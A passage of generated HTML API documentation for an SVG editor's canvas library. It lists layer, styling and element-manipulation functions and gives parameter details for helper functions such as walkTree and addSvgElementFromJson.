onMouseOut="HideTip('tt70')">getCurrentLayer</a></td><td class=SDescription>Returns the name of the currently selected layer. </td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.setCurrentLayer" id=link196 onMouseOver="ShowTip(event, 'tt71', 'link196')" onMouseOut="HideTip('tt71')">setCurrentLayer</a></td><td class=SDescription>Sets the current layer. </td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.renameCurrentLayer" id=link197 onMouseOver="ShowTip(event, 'tt72', 'link197')" onMouseOut="HideTip('tt72')">renameCurrentLayer</a></td><td class=SDescription>Renames the current layer. </td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.setCurrentLayerPosition" id=link198 onMouseOver="ShowTip(event, 'tt73', 'link198')" onMouseOut="HideTip('tt73')">setCurrentLayerPosition</a></td><td class=SDescription>Changes the position of the current layer to the new value. </td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.getLayerVisibility" id=link199 onMouseOver="ShowTip(event, 'tt74', 'link199')" onMouseOut="HideTip('tt74')">getLayerVisibility</a></td><td class=SDescription>Returns whether the layer is visible. </td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.setLayerVisibility" id=link200 onMouseOver="ShowTip(event, 'tt75', 'link200')" onMouseOut="HideTip('tt75')">setLayerVisibility</a></td><td class=SDescription>Sets the visibility of the layer. </td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.moveSelectedToLayer" id=link201 onMouseOver="ShowTip(event, 'tt76', 'link201')" onMouseOut="HideTip('tt76')">moveSelectedToLayer</a></td><td class=SDescription>Moves the selected elements to layername. </td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getLayerOpacity" id=link202 onMouseOver="ShowTip(event, 'tt77', 'link202')" onMouseOut="HideTip('tt77')">getLayerOpacity</a></td><td class=SDescription>Returns the opacity of the given layer. </td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.setLayerOpacity" id=link203 onMouseOver="ShowTip(event, 'tt78', 'link203')" onMouseOut="HideTip('tt78')">setLayerOpacity</a></td><td class=SDescription>Sets the opacity of the given layer. </td></tr><tr class="SGroup"><td class=SEntry><a href="#SelectorManager.Document_functions" >Document functions</a></td><td class=SDescription></td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.clear" id=link204 onMouseOver="ShowTip(event, 'tt79', 'link204')" onMouseOut="HideTip('tt79')">clear</a></td><td class=SDescription>Clears the current document. </td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.linkControlPoints" >linkControlPoints</a></td><td class=SDescription>Alias function</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getContentElem" id=link205 onMouseOver="ShowTip(event, 'tt80', 'link205')" onMouseOut="HideTip('tt80')">getContentElem</a></td><td class=SDescription>Returns the content DOM element</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.getRootElem" id=link206 onMouseOver="ShowTip(event, 'tt81', 'link206')" onMouseOut="HideTip('tt81')">getRootElem</a></td><td class=SDescription>Returns the root DOM element</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getSelectedElems" id=link207 onMouseOver="ShowTip(event, 'tt82', 'link207')" onMouseOut="HideTip('tt82')">getSelectedElems</a></td><td class=SDescription>Returns the array with selected DOM elements</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.getResolution" id=link208 onMouseOver="ShowTip(event, 'tt83', 'link208')" onMouseOut="HideTip('tt83')">getResolution</a></td><td class=SDescription>Returns the current dimensions and zoom level in an object</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getZoom" id=link209 onMouseOver="ShowTip(event, 'tt84', 'link209')" onMouseOut="HideTip('tt84')">getZoom</a></td><td class=SDescription>Returns the current zoom level</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.getVersion" id=link210 onMouseOver="ShowTip(event, 'tt85', 'link210')" onMouseOut="HideTip('tt85')">getVersion</a></td><td class=SDescription>Returns a string which describes the revision number of SvgCanvas.</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.setUiStrings" id=link211 onMouseOver="ShowTip(event, 'tt86', 'link211')" onMouseOut="HideTip('tt86')">setUiStrings</a></td><td class=SDescription>Update interface strings with given values</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.setConfig" id=link212 onMouseOver="ShowTip(event, 'tt87', 'link212')" onMouseOut="HideTip('tt87')">setConfig</a></td><td class=SDescription>Update configuration options with given values</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getDocumentTitle" id=link213 onMouseOver="ShowTip(event, 'tt88', 'link213')" onMouseOut="HideTip('tt88')">getDocumentTitle</a></td><td class=SDescription>Returns the current document title or an empty string if not found</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.setDocumentTitle" id=link214 onMouseOver="ShowTip(event, 'tt89', 'link214')" onMouseOut="HideTip('tt89')">setDocumentTitle</a></td><td class=SDescription>Adds/updates a title element for the document with the given name. </td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getEditorNS" id=link215 onMouseOver="ShowTip(event, 'tt90', 'link215')" onMouseOut="HideTip('tt90')">getEditorNS</a></td><td class=SDescription>Returns the editor&rsquo;s namespace URL, optionally adds it to root element</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.setResolution" id=link216 onMouseOver="ShowTip(event, 'tt91', 'link216')" onMouseOut="HideTip('tt91')">setResolution</a></td><td class=SDescription>Changes the document&rsquo;s dimensions to the given size</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getOffset" id=link217 onMouseOver="ShowTip(event, 'tt92', 'link217')" onMouseOut="HideTip('tt92')">getOffset</a></td><td class=SDescription>Returns an object with x, y values indicating the svgcontent element&rsquo;s position in the editor&rsquo;s canvas.</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.setBBoxZoom" id=link218 onMouseOver="ShowTip(event, 'tt93', 'link218')" onMouseOut="HideTip('tt93')">setBBoxZoom</a></td><td class=SDescription>Sets the zoom level on the canvas-side based on the given value</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.setZoom" id=link219 onMouseOver="ShowTip(event, 'tt94', 'link219')" onMouseOut="HideTip('tt94')">setZoom</a></td><td class=SDescription>Sets the zoom to the given level</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.getMode" id=link220 onMouseOver="ShowTip(event, 'tt95', 'link220')" onMouseOut="HideTip('tt95')">getMode</a></td><td class=SDescription>Returns the current editor mode string</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.setMode" id=link221 onMouseOver="ShowTip(event, 'tt96', 'link221')" onMouseOut="HideTip('tt96')">setMode</a></td><td class=SDescription>Sets the editor&rsquo;s mode to the given string</td></tr><tr class="SGroup"><td class=SEntry><a href="#SelectorManager.Element_Styling" >Element Styling</a></td><td class=SDescription></td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getColor" id=link222 onMouseOver="ShowTip(event, 'tt97', 'link222')" onMouseOut="HideTip('tt97')">getColor</a></td><td class=SDescription>Returns the current fill/stroke option</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.setColor" id=link223 onMouseOver="ShowTip(event, 'tt98', 'link223')" onMouseOut="HideTip('tt98')">setColor</a></td><td class=SDescription>Change the current stroke/fill color/gradient value</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.findDefs" id=link224 onMouseOver="ShowTip(event, 'tt99', 'link224')" onMouseOut="HideTip('tt99')">findDefs</a></td><td class=SDescription>Return the document&rsquo;s &lt;defs&gt; element, create it first if necessary</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.setGradient" id=link225 onMouseOver="ShowTip(event, 'tt100', 'link225')" onMouseOut="HideTip('tt100')">setGradient</a></td><td class=SDescription>Apply the current gradient to selected element&rsquo;s fill or stroke</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.findDuplicateGradient" id=link226 onMouseOver="ShowTip(event, 'tt101', 'link226')" onMouseOut="HideTip('tt101')">findDuplicateGradient</a></td><td class=SDescription>Check if exact gradient already exists</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.setPaint" id=link227 onMouseOver="ShowTip(event, 'tt102', 'link227')" onMouseOut="HideTip('tt102')">setPaint</a></td><td class=SDescription>Set a color/gradient to a fill/stroke</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getStrokeWidth" id=link228 onMouseOver="ShowTip(event, 'tt103', 'link228')" onMouseOut="HideTip('tt103')">getStrokeWidth</a></td><td class=SDescription>Returns the current stroke-width value</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.setStrokeWidth" id=link229 onMouseOver="ShowTip(event, 'tt104', 'link229')" onMouseOut="HideTip('tt104')">setStrokeWidth</a></td><td class=SDescription>Sets the stroke width for the current selected elements When attempting to set a line&rsquo;s width to 0, this changes it to 1 instead</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.setStrokeAttr" id=link230 onMouseOver="ShowTip(event, 'tt105', 'link230')" onMouseOut="HideTip('tt105')">setStrokeAttr</a></td><td class=SDescription>Set the given stroke-related attribute the given value for selected elements</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.getOpacity" id=link231 onMouseOver="ShowTip(event, 'tt106', 'link231')" onMouseOut="HideTip('tt106')">getOpacity</a></td><td class=SDescription>Returns the current opacity</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.setOpacity" id=link232 onMouseOver="ShowTip(event, 'tt107', 'link232')" onMouseOut="HideTip('tt107')">setOpacity</a></td><td class=SDescription>Sets the given opacity to the current selected elements</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.getOpacity" >getOpacity</a></td><td class=SDescription>Returns the current fill opacity</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getStrokeOpacity" id=link233 onMouseOver="ShowTip(event, 'tt108', 'link233')" onMouseOut="HideTip('tt108')">getStrokeOpacity</a></td><td class=SDescription>Returns the current stroke opacity</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.setPaintOpacity" id=link234 onMouseOver="ShowTip(event, 'tt109', 'link234')" onMouseOut="HideTip('tt109')">setPaintOpacity</a></td><td class=SDescription>Sets the current fill/stroke opacity</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getBlur" id=link235 onMouseOver="ShowTip(event, 'tt110', 'link235')" onMouseOut="HideTip('tt110')">getBlur</a></td><td class=SDescription>Gets the stdDeviation blur value of the given element</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.setBlurNoUndo" id=link236 onMouseOver="ShowTip(event, 'tt111', 'link236')" onMouseOut="HideTip('tt111')">setBlurNoUndo</a></td><td class=SDescription>Sets the stdDeviation blur value on the selected element without being undoable</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.setBlurOffsets" id=link237 onMouseOver="ShowTip(event, 'tt112', 'link237')" onMouseOut="HideTip('tt112')">setBlurOffsets</a></td><td class=SDescription>Sets the x, y, with, height values of the filter element in order to make the blur not be clipped. </td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.setBlur" id=link238 onMouseOver="ShowTip(event, 'tt113', 'link238')" onMouseOut="HideTip('tt113')">setBlur</a></td><td class=SDescription>Adds/updates the blur filter to the selected element</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getBold" id=link239 onMouseOver="ShowTip(event, 'tt114', 'link239')" onMouseOut="HideTip('tt114')">getBold</a></td><td class=SDescription>Check whether selected element is bold or not</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.setBold" id=link240 onMouseOver="ShowTip(event, 'tt115', 'link240')" onMouseOut="HideTip('tt115')">setBold</a></td><td class=SDescription>Make the selected element bold or normal</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getItalic" id=link241 onMouseOver="ShowTip(event, 'tt116', 'link241')" onMouseOut="HideTip('tt116')">getItalic</a></td><td class=SDescription>Check whether selected element is italic or not</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.setItalic" id=link242 onMouseOver="ShowTip(event, 'tt117', 'link242')" onMouseOut="HideTip('tt117')">setItalic</a></td><td class=SDescription>Make the selected element italic or normal</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getFontFamily" id=link243 onMouseOver="ShowTip(event, 'tt118', 'link243')" onMouseOut="HideTip('tt118')">getFontFamily</a></td><td class=SDescription>Returns the current font family</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.setFontFamily" id=link244 onMouseOver="ShowTip(event, 'tt119', 'link244')" onMouseOut="HideTip('tt119')">setFontFamily</a></td><td class=SDescription>Set the new font family</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getFontSize" id=link245 onMouseOver="ShowTip(event, 'tt120', 'link245')" onMouseOut="HideTip('tt120')">getFontSize</a></td><td class=SDescription>Returns the current font size</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.setFontSize" id=link246 onMouseOver="ShowTip(event, 'tt121', 'link246')" onMouseOut="HideTip('tt121')">setFontSize</a></td><td class=SDescription>Applies the given font size to the selected element</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.getText" id=link247 onMouseOver="ShowTip(event, 'tt122', 'link247')" onMouseOut="HideTip('tt122')">getText</a></td><td class=SDescription>Returns the current text (textContent) of the selected element</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.setTextContent" id=link248 onMouseOver="ShowTip(event, 'tt123', 'link248')" onMouseOut="HideTip('tt123')">setTextContent</a></td><td class=SDescription>Updates the text element with the given string</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.setImageURL" id=link249 onMouseOver="ShowTip(event, 'tt124', 'link249')" onMouseOut="HideTip('tt124')">setImageURL</a></td><td class=SDescription>Sets the new image URL for the selected image element. </td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.setRectRadius" id=link250 onMouseOver="ShowTip(event, 'tt125', 'link250')" onMouseOut="HideTip('tt125')">setRectRadius</a></td><td class=SDescription>Sets the rx &amp; ry values to the selected rect element to change its corner radius</td></tr><tr class="SGroup"><td class=SEntry><a href="#SelectorManager.Element_manipulation" >Element manipulation</a></td><td class=SDescription></td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.setSegType" id=link251 onMouseOver="ShowTip(event, 'tt126', 'link251')" onMouseOut="HideTip('tt126')">setSegType</a></td><td class=SDescription>Sets the new segment type to the selected segment(s).</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.convertToPath" id=link252 onMouseOver="ShowTip(event, 'tt127', 'link252')" onMouseOut="HideTip('tt127')">convertToPath</a></td><td class=SDescription>Convert selected element to a path, or get the BBox of an element-as-path</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.changeSelectedAttributeNoUndo" id=link253 onMouseOver="ShowTip(event, 'tt128', 'link253')" onMouseOut="HideTip('tt128')">changeSelectedAttributeNoUndo</a></td><td class=SDescription>This function makes the changes to the elements. </td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.changeSelectedAttribute" id=link254 onMouseOver="ShowTip(event, 'tt129', 'link254')" onMouseOut="HideTip('tt129')">changeSelectedAttribute</a></td><td class=SDescription>Change the given/selected element and add the original value to the history stack If you want to change all selectedElements, ignore the elems argument. </td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.deleteSelectedElements" id=link255 onMouseOver="ShowTip(event, 'tt130', 'link255')" onMouseOut="HideTip('tt130')">deleteSelectedElements</a></td><td class=SDescription>Removes all selected elements from the DOM and adds the change to the history stack</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.groupSelectedElements" id=link256 onMouseOver="ShowTip(event, 'tt131', 'link256')" onMouseOut="HideTip('tt131')">groupSelectedElements</a></td><td class=SDescription>Wraps all the selected elements in a group (g) element</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.ungroupSelectedElement" id=link257 onMouseOver="ShowTip(event, 'tt132', 'link257')" onMouseOut="HideTip('tt132')">ungroupSelectedElement</a></td><td class=SDescription>Unwraps all the elements in a selected group (g) element. </td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.moveToTopSelectedElement" id=link258 onMouseOver="ShowTip(event, 'tt133', 'link258')" onMouseOut="HideTip('tt133')">moveToTopSelectedElement</a></td><td class=SDescription>Repositions the selected element to the bottom in the DOM to appear on top of other elements</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.moveToBottomSelectedElement" id=link259 onMouseOver="ShowTip(event, 'tt134', 'link259')" onMouseOut="HideTip('tt134')">moveToBottomSelectedElement</a></td><td class=SDescription>Repositions the selected element to the top in the DOM to appear under other elements</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.moveSelectedElements" id=link260 onMouseOver="ShowTip(event, 'tt135', 'link260')" onMouseOut="HideTip('tt135')">moveSelectedElements</a></td><td class=SDescription>Moves selected elements on the X/Y axis</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.cloneSelectedElements" id=link261 onMouseOver="ShowTip(event, 'tt136', 'link261')" onMouseOut="HideTip('tt136')">cloneSelectedElements</a></td><td class=SDescription>Create deep DOM copies (clones) of all selected elements and move them slightly from their originals</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.alignSelectedElements" id=link262 onMouseOver="ShowTip(event, 'tt137', 'link262')" onMouseOut="HideTip('tt137')">alignSelectedElements</a></td><td class=SDescription>Aligns selected elements</td></tr><tr class="SGroup"><td class=SEntry><a href="#SelectorManager.Additional_editor_tools" >Additional editor tools</a></td><td class=SDescription></td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.updateCanvas" id=link263 onMouseOver="ShowTip(event, 'tt138', 'link263')" onMouseOut="HideTip('tt138')">updateCanvas</a></td><td class=SDescription>Updates the editor canvas width/height/position after a zoom has occurred</td></tr><tr class="SFunction SIndent1"><td class=SEntry><a href="#SelectorManager.setBackground" id=link264 onMouseOver="ShowTip(event, 'tt139', 'link264')" onMouseOut="HideTip('tt139')">setBackground</a></td><td class=SDescription>Set the background of the editor (NOT the actual document)</td></tr><tr class="SFunction SIndent1 SMarked"><td class=SEntry><a href="#SelectorManager.cycleElement" id=link265 onMouseOver="ShowTip(event, 'tt140', 'link265')" onMouseOut="HideTip('tt140')">cycleElement</a></td><td class=SDescription>Select the next/previous element within the current layer</td></tr></table></div></div><!--END_ND_SUMMARY--></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.SelectorManager.initGroup"></a>SelectorManager.<wbr>initGroup</h3><div class=CBody><p>Resets the parent selector group element</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.SelectorManager.requestSelector"></a>SelectorManager.<wbr>requestSelector</h3><div class=CBody><p>Returns the selector based on the given element</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>elem</td><td class=CDLDescription>DOM element to get the selector for</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.SelectorManager.releaseSelector"></a>SelectorManager.<wbr>releaseSelector</h3><div class=CBody><p>Removes the selector of the given element (hides selection box)</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>elem</td><td class=CDLDescription>DOM element to remove the selector for</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.SelectorManager.getRubberBandBox"></a>SelectorManager.<wbr>getRubberBandBox</h3><div class=CBody><p>Returns the rubberBandBox DOM element.&nbsp; This is the rectangle drawn by the user for selecting/zooming</p></div></div></div>
-
-<div class="CGroup"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.Helper_functions"></a>Helper functions</h3></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.walkTree"></a>walkTree</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>function walkTree(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>cbFn</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Walks the tree and executes the callback on each element in a top-down fashion</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>elem</td><td class=CDLDescription>DOM element to traverse</td></tr><tr><td class=CDLEntry>cbFn</td><td class=CDLDescription>Callback function to run on each element</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.walkTreePost"></a>walkTreePost</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>function walkTreePost(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>cbFn</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Walks the tree and executes the callback on each element in a depth-first fashion</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>elem</td><td class=CDLDescription>DOM element to traverse</td></tr><tr><td class=CDLEntry>cbFn</td><td class=CDLDescription>Callback function to run on each element</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.assignAttributes"></a>assignAttributes</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var assignAttributes = this.assignAttributes = function(</td><td class=PParameter nowrap>node,</td></tr><tr><td></td><td class=PParameter nowrap>attrs,</td></tr><tr><td></td><td class=PParameter nowrap>suspendLength,</td></tr><tr><td></td><td class=PParameter nowrap>unitCheck</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Assigns multiple attributes to an element.</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>node</td><td class=CDLDescription>DOM element to apply new attribute values to</td></tr><tr><td class=CDLEntry>attrs</td><td class=CDLDescription>Object with attribute keys/values</td></tr><tr><td class=CDLEntry>suspendLength</td><td class=CDLDescription>Optional integer of milliseconds to suspend redraw</td></tr><tr><td class=CDLEntry>unitCheck</td><td class=CDLDescription>Boolean to indicate the need to use setUnitAttr</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.cleanupElement"></a>cleanupElement</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var cleanupElement = this.cleanupElement = function(</td><td class=PParameter nowrap>element</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Remove unneeded (default) attributes, makes resulting SVG smaller</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>element</td><td class=CDLDescription>DOM element to clean up</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.addSvgElementFromJson"></a>addSvgElementFromJson</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var addSvgElementFromJson = this.addSvgElementFromJson = function(</td><td class=PParameter nowrap>data</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Create a new SVG element based on the given object keys/values and add it to the current layer The element will be ran through cleanupElement before being returned</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>data</td><td class=CDLDescription>Object with the following keys/values:</td></tr></table><ul><li>element - DOM element to create</li><li>attr - Object with attributes/values to assign to the new element</li><li>curStyles - Boolean indicating that current style attributes should be applied first</li></ul><p>Returns: The new element</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.addExtension"></a>addExtension</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.addExtension = function(</td><td class=PParameter nowrap>name,</td></tr><tr><td></td><td class=PParameter nowrap>ext_func</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Add an extension to the editor</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>name</td><td class=CDLDescription>String with the ID of the extension</td></tr><tr><td class=CDLEntry>ext_func</td><td class=CDLDescription>Function supplied by the extension with its data</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.shortFloat"></a>shortFloat</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var shortFloat = function(</td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Rounds a given value to a float with number of digits defined in save_options</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>val</td><td class=CDLDescription>The value as a String, Number or Array of two numbers to be rounded</td></tr></table><h4 class=CHeading>Returns</h4><p>If a string/number was given, returns a Float.&nbsp; If an array, return a string with comma-seperated floats</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getStrokedBBox"></a>getStrokedBBox</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var getStrokedBBox = this.getStrokedBBox = function(</td><td class=PParameter nowrap>elems</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Get the bounding box for one or more stroked and/or transformed elements</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>elems</td><td class=CDLDescription>Array with DOM elements to check</td></tr></table><h4 class=CHeading>Returns</h4><p>A single bounding box object</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getVisibleElements"></a>getVisibleElements</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var getVisibleElements = this.getVisibleElements = function(</td><td class=PParameter nowrap>parent,</td></tr><tr><td></td><td class=PParameter nowrap>includeBBox</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Get all elements that have a BBox (excludes &lt;defs&gt;, &lt;title&gt;, etc).&nbsp; Note that 0-opacity, off-screen etc elements are still considered &ldquo;visible&rdquo; for this function</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>parent</td><td class=CDLDescription>The parent DOM element to search within</td></tr><tr><td class=CDLEntry>includeBBox</td><td class=CDLDescription>Boolean to indicate that an object should return with the element and its bbox</td></tr></table><h4 class=CHeading>Returns</h4><p>An array with all &ldquo;visible&rdquo; elements, or if includeBBox is true, an array with objects that include:</p><ul><li>elem - The element</li><li>bbox - The element&rsquo;s BBox as retrieved from getStrokedBBox</li></ul></div></div></div>
-
